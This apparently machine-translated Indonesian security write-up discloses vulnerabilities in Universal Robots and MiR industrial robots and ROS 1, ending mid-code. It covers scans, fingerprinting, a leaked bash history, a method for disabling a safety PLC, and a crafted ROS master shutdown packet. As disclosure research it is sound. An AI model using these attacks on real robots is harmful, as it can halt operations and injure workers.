Kontroler Universal Robots menjalankan Debian “wheezy” yang dirilis pada bulan Mei 2013 dan memasuki masa akhir masa pakai (EoL) pada bulan Mei 2018 menurut halaman Debian Long Term Support (LTS):
Jadwal Debian LTS mulai 17 Juni 2018
Jadwal Debian LTS mulai 17 Juni 2018
Beberapa dari Anda mungkin berpikir bahwa ELTS. Ada Dukungan Jangka Panjang yang Diperpanjang . Seseorang dapat berpikir bahwa Universal Robots secara aktif mendukung keterbukaan (dan sumber terbuka) dengan mendukung Debian secara finansial dan menerima dukungan yang diperpanjang:
Jadwal ELTS Debian
Jadwal ELTS Debian
Meskipun masuk akal dari segi tanggal, sayangnya, hal itu tampaknya tidak demikian. Meskipun mungkin terdengar kasar, orang bertanya-tanya: terlepas dari investasi yang dilakukan dalam pemasaran dan komunikasi, seberapa berharga promosi "keterbukaan" Universal Robots?
Mencari kelemahan pada rootfs
Sekarang mari kita gunakan alat keamanan populer untuk memindai rootfs untuk komponen yang tidak aman. Anda akan melihat di bawah ini bagaimana sumber paket deb tidak terpelihara, jadi kita akan mengubahnya secara manual untuk menginstal
# deb sources unmaintained
root@0ad90f762e89:/# apt-get update
Err http://packages.ur-update.dk ./ Release.gpg
Could not resolve 'packages.ur-update.dk'
Reading package lists... Done
W: Failed to fetch http://packages.ur-update.dk/ubuntu/./Release.gpg Could not resolve 'packages.ur-update.dk'
W: Some index files failed to download. They have been ignored, or old ones used instead.
# update source.list with archived packages
cat << EOF > /etc/apt/sources.list
deb http://archive.debian.org/debian wheezy main
deb http://archive.debian.org/debian-archive/debian-security/ wheezy updates/main
EOF
# install git
apt-get install git -y
...
# Fetch and run Lynis
root@0ad90f762e89:/etc# git clone https://github.com/CISOfy/lynis
Cloning into 'lynis'...
remote: Enumerating objects: 14350, done.
remote: Counting objects: 100% (492/492), done.
remote: Compressing objects: 100% (244/244), done.
remote: Total 14350 (delta 320), reused 389 (delta 248), pack-reused 13858
Receiving objects: 100% (14350/14350), 7.63 MiB, done.
Resolving deltas: 100% (10564/10564), done.
root@0ad90f762e89:/etc# cd lynis/
root@0ad90f762e89:/etc/lynis# ls
CHANGELOG.md CONTRIBUTING.md FAQ INSTALL README SECURITY.md db developer.prf include lynis.8
CODE_OF_CONDUCT.md CONTRIBUTORS.md HAPPY_USERS.md LICENSE README.md TODO.md default.prf extras lynis plugins
root@0ad90f762e89:/etc/lynis# ./lynis audit system
[ Lynis 3.0.7 ]
################################################################################
Lynis comes with ABSOLUTELY NO WARRANTY. This is free software, and you are
welcome to redistribute it under the terms of the GNU General Public License.
See the LICENSE file for details about using this software.
2007-2021, CISOfy - https://cisofy.com/lynis/
Enterprise support available (compliance, plugins, interface and tools)
################################################################################
[+] Initializing program
------------------------------------
- Detecting OS... [ DONE ]
- Checking profiles... [ DONE ]
---------------------------------------------------
Program version: 3.0.7
Operating system: Linux
Operating system name: Debian
Operating system version: 7
Kernel version: 5.10.25
Hardware platform: x86_64
Hostname: 0ad90f762e89
...
* Check PAM configuration, add rounds if applicable and expire passwords to encrypt with new values [AUTH-9229]
https://cisofy.com/lynis/controls/AUTH-9229/
* Configure password hashing rounds in /etc/login.defs [AUTH-9230]
https://cisofy.com/lynis/controls/AUTH-9230/
* Install a PAM module for password strength testing like pam_cracklib or pam_passwdqc [AUTH-9262]
https://cisofy.com/lynis/controls/AUTH-9262/
* When possible set expire dates for all password protected accounts [AUTH-9282]
https://cisofy.com/lynis/controls/AUTH-9282/
* Configure minimum password age in /etc/login.defs [AUTH-9286]
https://cisofy.com/lynis/controls/AUTH-9286/
* Configure maximum password age in /etc/login.defs [AUTH-9286]
https://cisofy.com/lynis/controls/AUTH-9286/
* Default umask in /etc/login.defs could be more strict like 027 [AUTH-9328]
https://cisofy.com/lynis/controls/AUTH-9328/
* Default umask in /etc/init.d/rc could be more strict like 027 [AUTH-9328]
https://cisofy.com/lynis/controls/AUTH-9328/
* To decrease the impact of a full /home file system, place /home on a separate partition [FILE-6310]
https://cisofy.com/lynis/controls/FILE-6310/
...
Jejak Lynis yang tidak lengkap di atas sudah memberikan sejumlah petunjuk tentang cara memulai pemecahan sistem. Saya akan berhenti di situ dan beralih ke beberapa contoh temuan.
Kerentanan
Penolakan Layanan mengeksploitasi kerentanan SSH di Universal Robots
RVD#1410 menunjukkan a) bukti bahwa Universal Robots sangat kurang peduli dengan keamanan dan b) pentingnya memiliki tim keamanan yang bekerja dengan teknisi Anda.
Cacat ini **ditemukan pada tahun 2016 dan diberi ID CVE CVE-2016-6210. Kami mengonfirmasi bahwa kerentanan ini berlaku untuk semua rilis terbaru dari Universal Robots selama kurang lebih 12 bulan terakhir:
Universal Robots CB3.1, versi firmware 3.12.1 (terbaru saat artikel ini ditulis)
Universal Robots CB3.1, versi firmware 3.12
Universal Robots CB3.1, versi firmware 3.11
Universal Robots CB3.1, versi firmware 3.10
Setelah menguji sejauh ini, kami agak yakin bahwa, jika Anda memiliki UR3, UR5, atau UR10, kemungkinan robot Anda mengirimkan versi openssh yang rentan terhadap Denial of Service oleh pengguna eksternal yang tidak memiliki otorisasi. Khususnya, kami menemukan bahwa sistem berkas Universal Robots Controllers (berbasis Debian) memungkinkan penyerang dengan koneksi jaringan ke robot untuk menyebabkan Denial of Service melalui fungsi auth_password di auth-passwd.c. sshddi OpenSSH, sebelum 7.3 tidak membatasi panjang kata sandi untuk autentikasi kata sandi, yang memungkinkan penyerang jarak jauh menyebabkan denial of service (konsumsi CPU crypt) melalui string yang panjang.
siaran ascii
UnZip 6.0 memungkinkan penyerang jarak jauh menyebabkan penolakan layanan (loop tak terbatas) melalui data bzip2 kosong dalam arsip ZIP
Ini menyenangkan, jadi kami memutuskan untuk membuat eksploitasi, menambahkannya, robotsploitdan merekamnya. UR3, UR5, dan UR10, yang didukung oleh CB3.1 (dengan semua versi firmware yang kami uji), rentan terhadap bug keamanan ini. Kurangnya pemeliharaan keamanan UnZip memungkinkan seseorang untuk melakukan Denial of Service. Video di bawah ini menunjukkan bagaimana kita dapat mencegah sistem beroperasi dalam kondisi normal hanya dengan mengekstrak file zip yang dibuat khusus.
siaran ascii
Pencacahan pengguna di Universal Robots Control Box CB3.x
Kami menemukan bahwa sistem berkas Universal Robots' Controllers yang berbasis di Debian tunduk pada CVE-2016-6210 yang memungkinkan penyerang melakukan enumerasi pengguna yang tidak diautentikasi. Cacat tersebut memengaruhi OpenSSH yang terekspos secara default di port 22.
Alasan mengapa OpenSSH rentan adalah karena sebelum versi 7.3, ketika SHA256 atau SHA512 digunakan untuk hashing kata sandi pengguna, ia menggunakan hashing BLOWFISH pada kata sandi statis ketika nama pengguna tidak ada. Hal ini memungkinkan penyerang jarak jauh untuk menghitung pengguna dengan memanfaatkan perbedaan waktu antara respons ketika kata sandi yang besar diberikan, mencari tahu pengguna mana yang valid dan mana yang tidak.
siaran ascii
Integer overflow dalam fungsi get_data, zipimport.c di Python 2.7
Dalam bug ini kami menyelidiki luapan integer dalam get_datafungsi di zipimport.cCPython (alias Python) sebelum 2.7.12, 3.xsebelum 3.4.5, dan 3.5.xsebelum 3.5.2memungkinkan penyerang jarak jauh untuk memiliki dampak yang tidak ditentukan melalui nilai ukuran data negatif, yang memicu luapan buffer berbasis tumpukan.
Video di bawah ini menunjukkan bagaimana kelemahan ini memengaruhi versi firmware CB3.1 1.12.1, 1.12, 1.11dan 1.10. Di luar pemeriksaan kami, kami menguji versi sebelumnya, tetapi kami hanya dapat menebak bahwa hal itu akan terjadi. Eksploitasi lebih lanjut dari limpahan berbasis tumpukan berada di luar cakupan latihan sederhana ini, tetapi penyerang yang cukup termotivasi tentu tidak akan berhenti di sini ;).
siaran ascii
Kekayaan intelektual yang tidak dilindungi di pengontrol Universal Robots CB 3.1 di seluruh versi firmware
Ini adalah salah satu bug yang paling mengkhawatirkan yang ditemukan . Terkait dengan RVD#1487 , kurangnya Hak Kekayaan Intelektual (HKI) yang dilindungi dari pihak ketiga memungkinkan penyerang untuk mencuri semua kekayaan intelektual yang ada di dalam robot dan diperoleh dari platform UR+ atau cara lain.
Lebih khusus lagi dan seperti yang dijelaskan dalam laporan kami: > Kotak kontrol Universal Robots CB 3.1 di seluruh versi firmware (diuji pada 1.12.1, 1.12, 1.11, dan 1.10) tidak mengenkripsi atau melindungi dengan cara apa pun artefak kekayaan intelektual yang dipasang dari platform UR+ komponen perangkat keras dan perangkat lunak (URCaps). File-file ini (.urcaps) disimpan di bawah '/root/.urcaps' sebagai file zip biasa yang berisi semua logika untuk menambahkan fungsionalitas ke robot UR3, UR5, dan UR10. Cacat ini memungkinkan penyerang dengan akses ke robot atau jaringan robot (sementara dikombinasikan dengan cacat lainnya) untuk mengambil dan dengan mudah mencuri semua kekayaan intelektual yang terpasang. >
Video berikut memperagakan proses ini dengan menggabungkan serangan dengan kerentanan lainnya.
siaran ascii
Robot Industri Seluler MiR-100
Robot Industri Seluler MiR-100
Robot Industri Seluler MiR-100
Autonomous Mobile Robots (AMR) merupakan tren populer untuk otomasi industri. Selain di industri, robot ini juga semakin banyak digunakan di lingkungan publik untuk tugas-tugas yang mencakup pemindahan material, atau mendisinfeksi lingkungan dengan sinar UltraViolet (UV) (ketika tidak ada manusia di sekitar, untuk menghindari kulit terbakar atau yang lebih buruk).
Di antara AMR yang populer, kami menemukan Mobile Industrial Robot MiR-100 yang sering digunakan sebagai pangkalan bergerak untuk membangun robot lain.
Penelitian yang dilakukan dalam keterlibatan sebelumnya menghasilkan lebih dari 100 kelemahan yang teridentifikasi pada robot dari MiR. Berikut ini beberapa kelemahan baru yang kami publikasikan:
ID CVE Keterangan Cakupan CVSS Catatan
CVE-2020-10269 Kredensial Hardcoded pada Titik Akses Nirkabel MiRX00 MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 9.8 firmware v2.8.1.1 dan sebelumnya
CVE-2020-10270 Kredensial yang Dikodekan Secara Keras pada Dasbor Kontrol MiRX00 MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 9.8 v2.8.1.1 dan sebelumnya
CVE-2020-10271 Grafik komputasional MiR ROS diekspos ke semua antarmuka jaringan, termasuk jaringan nirkabel yang keamanannya buruk dan jaringan kabel terbuka MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 10.0 v2.8.1.1 dan sebelumnya
CVE-2020-10272 Grafik komputasional MiR ROS tidak menunjukkan mekanisme otentikasi MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 10.0 v2.8.1.1 dan sebelumnya
CVE-2020-10273 Kekayaan intelektual yang tidak dilindungi dalam pengendali Mobile Industrial Robots (MiR) MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 7.5 v2.8.1.1 dan sebelumnya
CVE-2020-10274 MiR REST API memungkinkan pencurian data oleh penyerang yang tidak berwenang (misalnya peta dalam ruangan) MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 7.1 v2.8.1.1 dan sebelumnya
CVE-2020-10275 Pembuatan token lemah untuk REST API MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 9.8 v2.8.1.1 dan sebelumnya
CVE-2020-10276 Kredensial default pada SICK PLC memungkinkan penonaktifan fitur keselamatan MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 9.8 v2.8.1.1 dan sebelumnya
CVE-2020-10277 Booting dari gambar langsung menyebabkan pencurian informasi yang masuk akal dan peningkatan hak istimewa MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 6.4 v2.8.1.1 dan sebelumnya
CVE-2020-10278 BIOS yang tidak dilindungi memungkinkan pengguna untuk melakukan boot dari citra OS langsung MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 6.1 v2.8.1.1 dan sebelumnya
CVE-2020-10279 Sistem operasi bawaan yang tidak aman pada robot MiR MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 10.0 v2.8.1.1 dan sebelumnya
CVE-2020-10280 Server Apache rentan terhadap DoS MiR100, MiR250, MiR200, MiR500, MiR1000, ER200, ER-Flex, ER-Lite, UVD Robot model A, model B 8.2 v2.8.1.1 dan sebelumnya
Di bawah ini, kami mengulas secara singkat sistem berkas tersebut dan kemudian membahas beberapa di antaranya beserta PoC-nya yang sesuai.
Meninjau sistem file robot
Mari kita lihat apa yang ada di dalam rootfs:
# Ubuntu 16.04 --> EoL
root@67817dedc5ca:/# cat /etc/issue
Ubuntu 16.04.2 LTS \n \l
# ROS 1 Kinetic --> EoL
root@67817dedc5ca:/# ls /opt/ros/
kinetic
Pengaturan EoL yang fantastis, baik sistem berkas maupun distro ROS :(. Mari kita lihat lebih dalam:
cd /root
root@67817dedc5ca:~# ls -a
. .. .bash_history .bashrc .cache .config .gnupg .nano .nmcli-history .profile .ros .ssh .viminfo script_logs
Ini fantastis :x:, :laughing:. Mari kita telaah sedikit sejarahnya, hanya untuk bersenang-senang:
...
apt-get install ros-kinetic-openni-launch
apt-get install libnm-glib-dev
pip install --upgrade pip
pip install --upgrade mysql-connector
poweroff
ls /etc/polkit-1/localauthority/50-local.d/
cp 10-network-manager.pkla /etc/polkit-1/localauthority/50-local.d/
head connect_to_wifi.py
vi /etc/polkit-1/localauthority/50-local.d/10-network-manager.pkla
exit
cd /usr/local/mir/
ls
mkdir software
mv out.zip software/
cd software/
ls
unzip out.zip
ls
chmod -R 755 .
ll
rm out.zip
chmod -R 655 MIR_SOFTWARE_VERSION
ls
chmod 555 MIR_SOFTWARE_VERSION
ll
chmod 444 MIR_SOFTWARE_VERSION
ll
chmod 666 MIR_SOFTWARE_VERSION
ll
chmod 644 MIR_SOFTWARE_VERSION
ll
ls
cd ..
ls
ls
./install_mir_dependencies.bash
less setup_master_disk.bash
cd /usr/local/
ls
cd mir/
ls
ifconfig
ifcomfig
ifconfig
ping 8.8.8.8
sudo reboot
ls
./install_mir_dependencies.bash > out.txt
ls
./setup_master_disk.bash
cat /home/mirex/.bashrc
chmod +x setup_master_disk.bash
ls
./setup_master_disk.bash
cat .bashrc
ls /usr/local/mir/software/
./setup_master_disk.bash > out.txt
ls /usr/local/mir/software/
less setup_master_disk.bash
ls
nano setup_master_disk.bash
ls
./setup_master_disk.bash
less ./setup_master_disk.bash
roscd
cd /usr/local/mir/software/
ls
source robot/mir_ros_env.bash
roscd
rosnode
rosnode list
cd
cat .bashrc
ls
cd /etc/
ls
cd init.d/
ls
cat /home/mirex/.bashrc
ls
cd /etc/sudoers.d/
ls
cd /usr/local/mir/software/robot/conf/robot
ls
cd home/
ls
cd mirex/
ls
ls -lah
cat .bashrc
cat /home/mirex/.bashrc
cd
cd /home/mirex/
ls
less setup_master_disk.bash
ls
less out.txt
ls
less setup_master_disk.bash
source /usr/local/mir/software/robot/mir_ros_env.bash
grep python setup_master_disk.bash
grep python setup_master_disk.bash > temp.sh
chmod +x temp.sh
./temp.sh
nano -w temp.sh
ls
echo $MIR_SOFTWARE_PATH
nano -w setup_master_disk.bash
./temp.sh
ls -alh /home/mirex/.bashrc
date
echo $MIR_SOFTWARE_PATH/
ls /usr/local/mir/software/
cd /usr/local/mir/
ls
cd software/
la
cd shared/
ls
cd ..
ls
cd robot/release/
s
ls
less install_utils.py
less /home/mirex/setup_master_disk.bash
ls
less config_utils.py
nano -w config_utils.py
cd /home/mirex/
./temp.sh
cd -
nano -w config_utils.py
nano -w /home/mirex/setup_master_disk.bash
nano -w config_utils.py
cd -
./temp.sh
nano -w /usr/local/mir/software/robot/release/config_utils.py
./temp.sh
nano -w temp.sh
python
nano -w setup_master_disk.bash
python
ifconfig
ls
ifconfig
ls
tail -f out.txt
./setup_master_disk.bash
reboot
cd /etc/NetworkManager/system-connections/
ls
ll
nmcli con
nmcli con status
nmcli con show
nmcli con down
nmcli con reload
nmcli con
nmcli con delete Wired\ connection\ 1
nmcli con
ls
/home/mirex/setup_master_disk.bash
ifconfig
ls
nmcli connection show
nmcli connection edit Wired\ connection\ 1
nmcli con
nmcli con show Wired\ connection\ 1
ifconfig
ifdown enp0s25
ifconfig
ifup enp0s25
ifconfig
nmcli con show Wired\ connection\ 1
ifconfig
nmcli con show Wired\ connection\ 1
ifconfig
nmcli con show Wired\ connection\ 1
ifconfig
cat /etc/network/interfaces
vi /etc/network/interfaces
ls /etc/network/interfaces.d/
sudo reboot
ifconfig
cat /etc/network/interfaces
scp /etc/network/interfaces morten@192.168.12.193
scp /etc/network/interfaces morten@192.168.12.193:~
ls
rm morten@192.168.12.193
ls
llstat /Etc/network/interfaces
stat -c /etc/network/interfaces
stat -c "%n" /etc/network/interfaces
stat -c "%a" /etc/network/interfaces
ls
cd /tmp/upgrade_ze7G5a/software/robot/
ls
cd release/
ls
sudo www-data
sudo su www-data
sudo su www-data
cat /etc/passwd
sudo vi /etc/passwd
sudo su www-data
rm /tmp/upgrade.lock
sudo su www-data
exit
apt-get purge modemmanager
apt-get install anacron
ps aux | grep anacron
apt-get install bluez
locale -a
apt-get install php-gettext
apt-get install php-intl
locale -a
locale-gen en_US da_DK
locale-gen en_US da_DK da_DK.utf8 de_DE de_DE.utf8 zh_CN zh_CN.utf8
update-locale
poweroff
cd /usr/local/mir
ls
cd software/
ls
ls -alh
less MIR_SOFTWARE_VERSION
startx
ifconfig
mount
cd /tmp/
ls
cd upgrade_tc4Z7G/
ls
tail -f mir_upgrade.log
cd ..
ls
poweroff
ls /usr/local/mir/backups/robot/
rm -r /usr/local/mir/backups/robot/*
ls /usr/local/mir/backups/robot/
ls /usr/local/mir/backups/
exit
Melihat ini memberi tahu Anda banyak hal! Kita dapat menebak bagaimana proses pembaruan bekerja untuk robot-robot ini, kita juga dapat menentukan di mana mencari versi FW produk, perangkat keras, dan bahkan di mana mencari cadangan perangkat keras/robot. Kita juga dapat menentukan di mana mencari lapisan catkin ROS, yang berisi biner untuk sebagian besar paket yang dikembangkan oleh MiR (di luar penggunaan paket-paket Umum ROS).
Sekarang mari kita lihat kelemahan yang mungkin ditemukan pada salah satu pemindai sumber terbuka yang ada:
root@67817dedc5ca:/Vulmap-Local-Vulnerability-Scanners/Vulmap-Linux# trivy fs --security-checks vuln,config /
2021-11-14T20:38:08.943+0100 INFO Need to update DB
2021-11-14T20:38:08.943+0100 INFO Downloading DB...
24.71 MiB / 24.71 MiB [-------------------------------------------------] 100.00% 27.77 MiB p/s 1s
2021-11-14T20:38:10.449+0100 INFO Need to update the built-in policies
2021-11-14T20:38:10.449+0100 INFO Downloading the built-in policies...
2021-11-14T20:38:14.903+0100 INFO Detected OS: ubuntu
2021-11-14T20:38:14.903+0100 INFO Detecting Ubuntu vulnerabilities...
2021-11-14T20:38:15.020+0100 INFO Number of language-specific files: 1
2021-11-14T20:38:15.020+0100 INFO Detecting jar vulnerabilities...
2021-11-14T20:38:15.020+0100 INFO Detected config files: 7
67817dedc5ca (ubuntu 16.04)
===========================
Total: 15501 (UNKNOWN: 0, LOW: 5995, MEDIUM: 9069, HIGH: 432, CRITICAL: 5)
...
Ditemukan 15501 kerentanan. 5 CRITICAL , 432. HIGHSekilas saat melakukan penyaringan:
root@67817dedc5ca:/# trivy fs --security-checks vuln --severity CRITICAL /
akan memberi tahu Anda bahwa paket yang terdampak meliputi bluez, grub*, (berbagai) libc-komponen, libssl, openssl, atau wpasupplicant. Di antara banyak lainnya.
Singkatnya, banyak peluang yang dapat dimanfaatkan.
Jejak kaki dan sidik jari
Agar adil, sering kali Anda tidak akan memiliki akses ke rootfs lengkap (atau Anda memilikinya!), jadi mari kita lihat berbagai hal dari perspektif jaringan dan lihat apakah kita dapat mencocokkan banyak temuan. Pemindaian cepat jaringan hotspot (atau kabel) robot mengarah ke berbagai titik akhir. Mari kita lihat lebih dalam beberapa yang paling menarik:
Hotspot itu sendiri:
root@attacker:~# nmap -sV -Pn 192.168.12.1
Starting Nmap 7.80SVN ( https://nmap.org ) at 2020-06-08 15:16 CEST
Nmap scan report for 192.168.12.1
Host is up (0.039s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp MikroTik router ftpd 6.46.2
22/tcp open ssh MikroTik RouterOS sshd (protocol 2.0)
23/tcp open telnet APC PDU/UPS devices or Windows CE telnetd
53/tcp open domain (generic dns response: NOTIMP)
80/tcp open http MikroTik router config httpd
2000/tcp open bandwidth-test MikroTik bandwidth-test server
8291/tcp open unknown
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port23-TCP:V=7.80SVN%I=7%D=6/8%Time=5EDE3A4D%P=x86_64-unknown-linux-gnu
SF:%r(NULL,C,"\xff\xfb\x01\xff\xfd\x18\xff\xfd'\xff\xfd\x1f")%r(GenericLin
SF:es,10,"\xff\xfb\x01\xff\xfd\x18\xff\xfd'\xff\xfd\x1f\r\n\r\n")%r(tn3270
SF:,1E,"\xff\xfb\x01\xff\xfd\x18\xff\xfd'\xff\xfd\x1f\xff\xfa\x18\x01\xff\
SF:xf0\xff\xfe\x19\xff\xfc\x19\xff\xfe\0\xff\xfc\0")%r(GetRequest,1E,"\xff
SF:\xfb\x01\xff\xfd\x18\xff\xfd'\xff\xfd\x1fGET\x20/\x20HTTP/1\.0\r\n\r\n"
SF:)%r(RPCCheck,16,"\xff\xfb\x01\xff\xfd\x18\xff\xfd'\xff\xfd\x1f\x80\^@\^
SF:@\(r\xfe\^\]")%r(Help,12,"\xff\xfb\x01\xff\xfd\x18\xff\xfd'\xff\xfd\x1f
SF:HELP\r\n")%r(SIPOptions,EB,"\xff\xfb\x01\xff\xfd\x18\xff\xfd'\xff\xfd\x
SF:1fOPTIONS\x20sip:nm\x20SIP/2\.0\r\nVia:\x20SIP/2\.0/TCP\x20nm;branch=fo
SF:o\r\nFrom:\x20<sip:nm@nm>;tag=root\r\nTo:\x20<sip:nm2@nm2>\r\nCall-ID:\
SF:x2050000\r\nCSeq:\x2042\x20OPTIONS\r\nMax-Forwards:\x2070\r\nContent-Le
SF:ngth:\x200\r\nContact:\x20<sip:nm@nm>\r\nAccept:\x20application/sdp\r\n
SF:\r\n")%r(NCP,C,"\xff\xfb\x01\xff\xfd\x18\xff\xfd'\xff\xfd\x1f");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port53-TCP:V=7.80SVN%I=7%D=6/8%Time=5EDE3A52%P=x86_64-unknown-linux-gnu
SF:%r(DNSVersionBindReqTCP,E,"\0\x0c\0\x06\x81\x84\0\0\0\0\0\0\0\0");
Service Info: OSs: Linux, RouterOS; Device: router; CPE: cpe:/o:mikrotik:routeros
Komputer robot utama (NUC):
root@attacker:~# nmap -sV -Pn 192.168.12.20
Starting Nmap 7.80SVN ( https://nmap.org ) at 2020-06-08 16:24 CEST
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 20.00% done; ETC: 16:25 (0:00:24 remaining)
Stats: 0:00:33 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.53% done; ETC: 16:25 (0:00:00 remaining)
Nmap scan report for mir.com (192.168.12.20)
Host is up (0.11s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
8080/tcp open http Apache httpd 2.4.18 ((Ubuntu))
8888/tcp open http Werkzeug httpd 0.10.4 (Python 2.7.12)
9090/tcp open http Tornado httpd 4.0.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Pengintaian dalam kasus ini menghasilkan banyak informasi menarik. Jejak yang dibuat oleh informasi yang dihasilkan dari footprinting dan sidik jari akan membantu kita mengidentifikasi banyak kelemahan yang ada di rootfs dan yang diketahui.
Kesampingkan itu, mari kita lihat beberapa PoC dan kerentanan baru yang ditemukan.
Kerentanan
Kredensial default pada SICK PLC memungkinkan penonaktifan fitur keselamatan
Kata sandi untuk PLC pengaman adalah kata sandi default dan mudah ditemukan (dalam buku petunjuk, dll.). Hal ini memungkinkan program yang dimanipulasi untuk diunggah ke PLC pengaman, yang secara efektif menonaktifkan penghentian darurat jika ada objek yang terlalu dekat dengan robot. Navigasi dan komponen lain yang bergantung pada pemindai laser tidak terpengaruh (sehingga sulit dideteksi sebelum sesuatu terjadi) meskipun konfigurasi pemindai laser juga dapat terpengaruh yang selanjutnya mengubah keselamatan perangkat.
siaran ascii
Kredensial yang Dikodekan Secara Keras pada Dasbor Kontrol MiRX00
Dari antarmuka kabel dan nirkabel dalam MiR100, MiR200, dan kendaraan lain dari armada MiR, Dasbor Kontrol dapat diakses melalui alamat IP yang dikodekan secara keras. Kredensial untuk antarmuka nirkabel tersebut secara default adalah pengguna yang dikenal dan tersebar luas (dihilangkan) dan kata sandi (dihilangkan). Informasi ini juga tersedia dalam Panduan Pengguna dan manual sebelumnya yang didistribusikan oleh vendor. Cacat ini memungkinkan penyerang siber untuk mengendalikan robot dari jarak jauh dan memanfaatkan antarmuka pengguna default yang telah dibuat MiR, sehingga mengurangi kompleksitas serangan dan membuatnya tersedia bagi penyerang tingkat pemula. Serangan yang lebih rumit juga dapat dilakukan dengan menghapus autentikasi dan mengirimkan permintaan jaringan secara langsung. Kami telah mengonfirmasi cacat ini di MiR100 dan MiR200, tetapi menurut vendor, hal ini mungkin juga berlaku untuk MiR250, MiR500, dan MiR1000.
siaran ascii
API REST MiR memungkinkan pencurian data oleh penyerang yang tidak sah (misalnya peta dalam ruangan
Token akses untuk REST API secara langsung diturunkan (pengodean sha256 dan base64) dari kredensial default yang tersedia untuk umum dari Control Dashboard (lihat CVE-2020-10270 untuk kelemahan terkait). Kelemahan ini dikombinasikan dengan CVE-2020-10273 memungkinkan penyerang yang terhubung ke jaringan robot (berkabel atau nirkabel) untuk mencuri semua data yang tersimpan (misalnya gambar pemetaan dalam ruangan) dan metadata terkait dari basis data robot.
siaran ascii
Grafik komputasional MiR ROS diekspos ke semua antarmuka jaringan, termasuk jaringan nirkabel yang keamanannya buruk dan jaringan kabel terbuka
MiR100, MiR200, dan robot MiR lainnya menggunakan paket bawaan Robot Operating System (ROS) yang mengekspos grafik komputasional ke semua antarmuka jaringan, baik nirkabel maupun berkabel. Hal ini merupakan hasil dari pengaturan yang buruk dan dapat diatasi dengan mengonfigurasi ROS dengan tepat dan/atau menerapkan patch khusus sebagaimana mestinya. Saat ini, grafik komputasional ROS dapat diakses sepenuhnya dari port yang terekspos berkabel. Dikombinasikan dengan kelemahan lain seperti CVE-2020-10269, grafik komputasi juga dapat diambil dan diinteraksikan dari jaringan nirkabel. Hal ini memungkinkan operator jahat untuk mengendalikan logika ROS dan dengan demikian, seluruh robot mengingat operasi MiR berpusat di sekitar kerangka kerja (ROS).
siaran ascii
Sistem Operasi Robot (ROS 1)
Robot Operating System (ROS) adalah standar de facto untuk pengembangan aplikasi robot ( Quigley, Gerkey, dkk. 2009 ) . Ini adalah kerangka kerja untuk menciptakan perilaku robot yang terdiri dari berbagai tumpukan dan kemampuan untuk pengiriman pesan, persepsi, navigasi, manipulasi, atau keamanan, antara lain. Diperkirakan bahwa pada tahun 2024, 55% dari total robot komersial akan mengirimkan setidaknya satu paket ROS. ROS bagi para ahli robotika sama seperti Linux bagi ilmuwan komputer .
Studi kasus ini akan menganalisis keamanan ROS dan menunjukkan beberapa kelemahan keamanan yang membuat komunitas melompat ke evolusi yang lebih kuat: ROS 2Manual elektronik resmi TB3 http://emanual.robotis.com/docs/en/platform/turtlebot3/overview/
(lihat studi kasus pada ROS 2 )
Membedah interaksi jaringan ROS melalui scapy
TCPROS adalah lapisan transport untuk Pesan dan Layanan ROS. Lapisan ini menggunakan soket TCP/IP standar untuk mengangkut data pesan. Koneksi masuk diterima melalui Soket Server TCP dengan header yang berisi tipe data pesan dan informasi perutean. Kelas ini berfokus pada penangkapan API ROS Slave.
Sampai digabungkan ke hulu (lihat TCPROS PR ), Anda bisa mendapatkan disektor TCPROS sebagai berikut:
pip3 install git+https://github.com/vmayoral/scapy@tcpros
Contoh paket disajikan di bawah ini:
from scapy.contrib.tcpros import *
bind_layers(TCP, TCPROS)
bind_layers(HTTPRequest, XMLRPC)
bind_layers(HTTPResponse, XMLRPC)
pkt = b"POST /RPC2 HTTP/1.1\r\nAccept-Encoding: gzip\r\nContent-Length: " \
b"227\r\nContent-Type: text/xml\r\nHost: 12.0.0.2:11311\r\nUser-Agent:" \
b"xmlrpclib.py/1.0.1 (by www.pythonware.com)\r\n\r\n<?xml version=" \
b"'1.0'?>\n<methodCall>\n<methodName>shutdown</methodName>\n<params>" \
b"\n<param>\n<value><string>/rosparam-92418</string></value>\n" \
b"</param>\n<param>\n<value><string>BOOM</string></value>" \
b"\n</param>\n</params>\n</methodCall>\n"
p = TCPROS(pkt)
atau sebagai alternatif, menyusunnya lapis demi lapis:
p = (
IP(version=4, ihl=5, tos=0, flags=2, dst="12.0.0.2")
/ TCP(
sport=20001,
dport=11311,
seq=1,
flags="PA",
ack=1,
)
/ TCPROS()
/ HTTP()
/ HTTPRequest(
Accept_Encoding=b"gzip",
Content_Length=b"227",
Content_Type=b"text/xml",
Host=b"12.0.0.2:11311",
